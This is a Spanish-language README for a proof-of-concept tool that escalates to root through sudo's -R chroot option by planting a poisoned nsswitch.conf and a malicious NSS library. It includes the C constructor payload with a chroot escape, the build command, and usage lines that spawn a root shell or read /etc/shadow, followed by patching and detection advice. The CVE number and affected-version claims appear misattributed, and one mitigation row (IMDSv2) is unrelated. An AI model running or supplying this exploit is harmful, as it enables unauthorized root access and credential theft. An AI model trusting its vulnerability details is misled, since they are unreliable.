
Exploit de prueba de concepto para CVE-2023-42456, que demuestra la escalada de privilegios mediante el secuestro de la biblioteca NSS de sudo a través de inyección chroot. Incluye detección automatizada de versiones, generación de payload y escape de chroot para pruebas de seguridad autorizadas.
Autor: 0xb0rn3 | 0xbv1
Tipo: Prueba de concepto (PoC) Herramienta de investigación de seguridad
CVE: CVE-2023-42456
Técnica: Inyección de biblioteca NSS en chroot de sudo -R → escalada de privilegios a root
Esta herramienta está desarrollada únicamente para pruebas de penetración autorizadas e investigación educativa en seguridad. Ejecútela exclusivamente en sistemas que posea o para los que tenga permiso explícito por escrito. El/los autor(es) no asumen ninguna responsabilidad por su mal uso. El uso no autorizado es ilegal.
Xpl0it es una prueba de concepto que explota un fallo en el modelo de confianza de cómo sudo maneja la carga dinámica de bibliotecas NSS (Name Service Switch) cuando se utiliza la opción -R (chroot). En versiones vulnerables de sudo, un atacante que controle el directorio chroot puede envenenar nsswitch.conf dentro de este para forzar a sudo a cargar una biblioteca compartida maliciosa mientras aún mantiene privilegios elevados — antes de que se produzca cualquier descenso de credenciales.
En una ejecución exitosa, la herramienta le sitúa en un shell de root o ejecuta cualquier comando que especifique con uid=0 gid=0.
Esta herramienta se dirige exclusivamente a CVE-2023-42456. La vulnerabilidad existe en dos ramas de lanzamiento, cada una con un commit de corrección separado:
Importante: sudo 1.9.17 y posteriores no son vulnerables. Herramientas y escritos anteriores indicaban incorrectamente el rango como "1.9.14–1.9.17". Esta herramienta realiza detección de versión por rama para evitar falsos positivos.
Los siguientes CVE no son explotables mediante esta técnica y se excluyen intencionadamente para evitar falsos positivos:
| CVE | Técnica | Por qué se excluye |
|---|---|---|
| CVE-2021-3156 (Baron Samedit) | Desbordamiento de búfer en montón | Vector de ataque completamente diferente |
| CVE-2021-23239 | Condición de carrera en sudoedit | Técnica diferente |
sudo -R requiere una directiva explícita ChrootDir= en la entrada de sudoers del usuario destino. NOPASSWD por sí solo no otorga permiso para -R.
Sin ChrootDir, sudo rechaza la opción -R por completo:
sudo: you are not permitted to use the -R option with bridge
Una entrada sudoers que permita este exploit debe tener el siguiente aspecto:
# Ruta chroot sin restricciones (condición de ataque ideal)
targetuser ALL=(root) ChrootDir=* NOPASSWD: ALL
# Ruta chroot restringida (la herramienta adapta el directorio de staging automáticamente)
targetuser ALL=(root) ChrootDir=/var/jail/* NOPASSWD: /bin/bash
# Ruta específica (la herramienta crea staging dentro de la ruta permitida)
targetuser ALL=(root) ChrootDir=/tmp/* NOPASSWD: ALL
Xpl0it analiza sudo -l en busca de ChrootDir antes de realizar cualquier trabajo de staging y aborta anticipadamente con una explicación clara si falta el permiso.
sudo -R bridge bridge
│
├─ sudo llama a chroot("./bridge") ← atacante controla este directorio
│
├─ sudo debe resolver la información del usuario que llama
│ └─ carga /etc/nsswitch.conf desde chroot
│ └─ "passwd: files bridge90"
│ └─ el enlazador dinámico carga libnss_bridge90.so.2
│ └─ __attribute__((constructor)) se dispara
│ └─ setreuid(0,0) + setregid(0,0)
│ └─ escape del chroot → ejecutar payload
│
└─ shell de root generado
Paso 1 — Reconocimiento
Recopila el sistema operativo, versión del kernel, arquitectura, contexto del usuario actual y todas las rutas de búsqueda de bibliotecas válidas. Detecta la aplicación de AppArmor/SELinux y el estado de NoNewPrivs — todos pueden bloquear silenciosamente el exploit si están activos.
Paso 2 — Huella de versión
Analiza sudo --version y verifica el rango afectado de dos ramas para CVE-2023-42456 con precisión a nivel de parche. Aborta con explicación si la versión está parcheada o fuera de rango.
Paso 3 — Verificación del permiso ChrootDir
Analiza sudo -l en busca de directivas ChrootDir=. Si está ausente, aborta inmediatamente. Si está restringido a una ruta específica, se dirige automáticamente a esa ruta para el staging, de modo que sudo acepte la llamada -R.
Paso 4 — Sonda de pre-explotación
Construye un chroot mínimo desechable y ejecuta una llamada sudo -R inofensiva antes de realizar cualquier trabajo de staging real. Confirma que sudo llegará a la resolución NSS y detecta rechazos de "no permitido" de forma temprana.
Paso 5 — Generación del payload
Escribe bridge90.c — una biblioteca compartida en C con una función __attribute__((constructor)) (_nss_bridge90_init) que se dispara en el momento en que el enlazador dinámico la carga:
__attribute__((constructor))
static void _nss_bridge90_init(void) {
setreuid(0, 0); setregid(0, 0);
setuid(0); setgid(0);
// escape de chroot: mkdir subdirectorio → chroot más profundo →
// recorrer 40x"../" → reanclar chroot a / real
mkdir("._esc", 0700);
if (chroot("._esc") == 0) {
// ... 40x "../" chdir ...
chroot(".");
}
chdir("/");
execl("/bin/bash", "bash", "-c", CMD, NULL);
execl("/bin/sh", "sh", "-c", CMD, NULL);
_exit(1);
}
Paso 6 — Configuración del entorno
Construye un chroot convincente dentro del directorio de staging:
bridge/etc/nsswitch.conf — envenenado para cargar el servicio NSS bridge90bridge/<lib_path>/libnss_bridge90.so.2 — el payload, desplegado en todas las rutas de bibliotecas detectadas (cobertura multilib)bridge/bin/bridge — ejecutable ficticio que sudo debe encontrar para continuar más allá de las comprobaciones previas a la ejecuciónbridge/bin/sh, bridge/bin/bash — shells con el intérprete ELF correcto (detectado mediante readelf -l)bridge/etc/ld.so.conf — cubre todas las rutas de bibliotecas para que ldconfig -r construya una caché válidaPaso 7 — Compilación
gcc -shared -fPIC -nostartfiles -Wl,-soname,libnss_bridge90.so.2 -o libnss_bridge90.so.2 bridge90.c
-nostartfiles — sin código de inicio predeterminado; el constructor lo maneja todo-Wl,-soname — SONAME correcto para la resolución de nombres NSS-Wl,-init — __attribute__((constructor)) es suficiente; agregar -Wl,-init provoca una doble llamada y es un errorDespués de la compilación, nm -D verifica que el símbolo del constructor esté presente en la tabla de exportación dinámica.
Paso 8 — Ejecución
Ejecuta sudo -R bridge bridge desde el directorio de staging. NSS resuelve bridge90 → carga nuestra biblioteca → el constructor se dispara con privilegios elevados → se ejecuta el escape del chroot → shell de root.
La implementación de -R de sudo confía en el contenido del directorio chroot al que ingresa. Antes de que esto se corrigiera, sudo no validaba si el entorno chroot había sido manipulado. Dado que el usuario que proporciona la ruta del chroot controla su contenido — incluyendo nsswitch.conf y las bibliotecas NSS a las que hace referencia — puede redirigir la carga de bibliotecas a código arbitrario que se ejecuta antes de que sudo realice cualquier descenso de privilegios.
Parchear sudo
Actualice a 1.9.15p2, 1.9.16p2 o cualquier versión 1.9.17+. Estas versiones validan los entornos chroot antes de permitir la resolución NSS dentro de ellos.
# Verifique su versión
sudo --version
# Debian/Ubuntu
apt-get update && apt-get install sudo
# Arch Linux
pacman -Syu sudo
# RHEL/Fedora
dnf update sudo
Auditar directivas ChrootDir
Revise /etc/sudoers y todos los archivos en /etc/sudoers.d/. Elimine las entradas ChrootDir= a menos que sean explícitamente necesarias. Restrinja los comodines — prefiera ChrootDir=/specific/path sobre ChrootDir=*.
grep -r "ChrootDir" /etc/sudoers /etc/sudoers.d/ 2>/dev/null
Firmas de registro de auditoría
# auditd — detectar invocaciones sudo -R (raro en uso legítimo)
auditctl -a always,exit -F arch=b64 -S execve \
-F exe=/usr/bin/sudo -k sudo_chroot_attempt
# journald
journalctl | grep -i "sudo.*-R\|chroot"
Indicadores sospechosos
sudo -R en registros — el uso legítimo en producción es extremadamente raro/tmp con nombres que coincidan con sudobridge.*libnss_*.so.2 en /tmp o directorios escribibles por el usuariogcc desde sesiones de usuario que no son de sistema de compilaciónsetreuid/setregid desde procesos no propiedad de root# Hacer ejecutable
chmod +x Xpl0it
# Caer en shell de root (predeterminado)
./Xpl0it
# Ejecutar un comando específico como root
./Xpl0it -c "id && cat /etc/shadow"
# Modo depuración — salida detallada, directorio de staging conservado al salir
./Xpl0it -d
# Preguntar antes de continuar en caso de discrepancia de versión
./Xpl0it -v
# Combinar banderas
./Xpl0it -v -d -c "/bin/bash"
La entrada sudoers del usuario destino también debe incluir ChrootDir= — la herramienta lo verifica automáticamente y falla rápidamente con una explicación si falta.
Si el exploit falla, ejecútelo con -d para conservar el directorio de staging e inspeccione:
Razones comunes de fallo:
man nsswitch.conf, man 5 nssman ld.so, man ldconfigchroot(2)Son bienvenidas las contribuciones que mejoren la precisión, portabilidad o cobertura de detección. Por favor, mantenga cualquier adición alineada con los principios de divulgación responsable y casos de uso de pruebas autorizadas.
Xpl0it es solo para investigación de seguridad autorizada. Obtenga siempre permiso explícito por escrito antes de probar en sistemas que no sean de su propiedad.
| Rama | Vulnerable | Corregido en |
|---|
| 1.9.14.x | todas (1.9.14 – 1.9.14p2) | N/A (toda la rama afectada) |
| 1.9.15.x | 1.9.15 – 1.9.15p1 | 1.9.15p2 |
| 1.9.16.x | 1.9.16 – 1.9.16p1 | 1.9.16p2 |
| 1.9.17+ | no afectada | corrección fusionada aguas arriba antes de la rama |
| CVE-2021-23240 | Omisión de enlace simbólico de rol SELinux | Técnica diferente |
| Capa | Acción |
|---|
| Parche | sudo ≥ 1.9.15p2 / 1.9.16p2 / 1.9.17+ |
| Sudoers | Eliminar ChrootDir=*; usar solo rutas específicas |
| MAC | Perfiles AppArmor/SELinux que bloquean dlopen() no confiable |
| Sistema de archivos | Montar /tmp y directorios de usuario con noexec,nosuid |
| IMDSv2 | En instancias en la nube, requerir acceso a metadatos basado en token |
| Monitorización | Alertas de auditd en invocaciones sudo -R |
| NoNewPrivs | PR_SET_NO_NEW_PRIVS evita que setreuid() funcione |
| Bandea | Descripción |
|---|
-c, --command <cmd> | Comando a ejecutar después de la escalada (predeterminado: /bin/bash) |
-d, --debug | Salida de depuración detallada; conserva el directorio de staging al salir |
-v, --verbose | Preguntar antes de continuar si la versión está fuera del rango afectado |
-h, --help | Mostrar uso |
--version | Mostrar versión |
| Dependencia | Requerido | Propósito |
|---|
gcc | Sí | Compilar biblioteca compartida NSS en el destino |
sudo | Sí | Binario objetivo |
ldconfig | Sí | Construir ld.so.cache dentro del chroot |
readelf | Sí | Detectar ruta del intérprete ELF |
grep, awk, sed, find | Sí | Utilidades estándar |
strace, ltrace, gdb | Opcional | Depuración mejorada |
nm | Opcional | Verificación del símbolo del constructor |
| Verificación | Ruta | Qué buscar |
|---|
| Registro de compilación | $STAGE/logs/compile.log | Errores de gcc |
| Registro de ldconfig | $STAGE/logs/ldconfig.log | Errores de construcción de caché |
| nsswitch.conf | $STAGE/bridge/etc/nsswitch.conf | passwd: files bridge90 |
| Biblioteca | $STAGE/bridge/<lib_path>/libnss_bridge90.so.2 | debe existir |
| Sudoers | sudo -l | debe mostrar ChrootDir= |
| Error | Causa |
|---|
not permitted to use the -R option | Falta ChrootDir= en sudoers |
| Código de salida 1, sin error NSS | La versión de sudo está parcheada |
| La biblioteca no carga silenciosamente | AppArmor/SELinux bloqueando dlopen() |
setreuid ignorado | NoNewPrivs=1 en el proceso |
| Biblioteca no encontrada | ldconfig -r falló y el respaldo de enlace simbólico es insuficiente |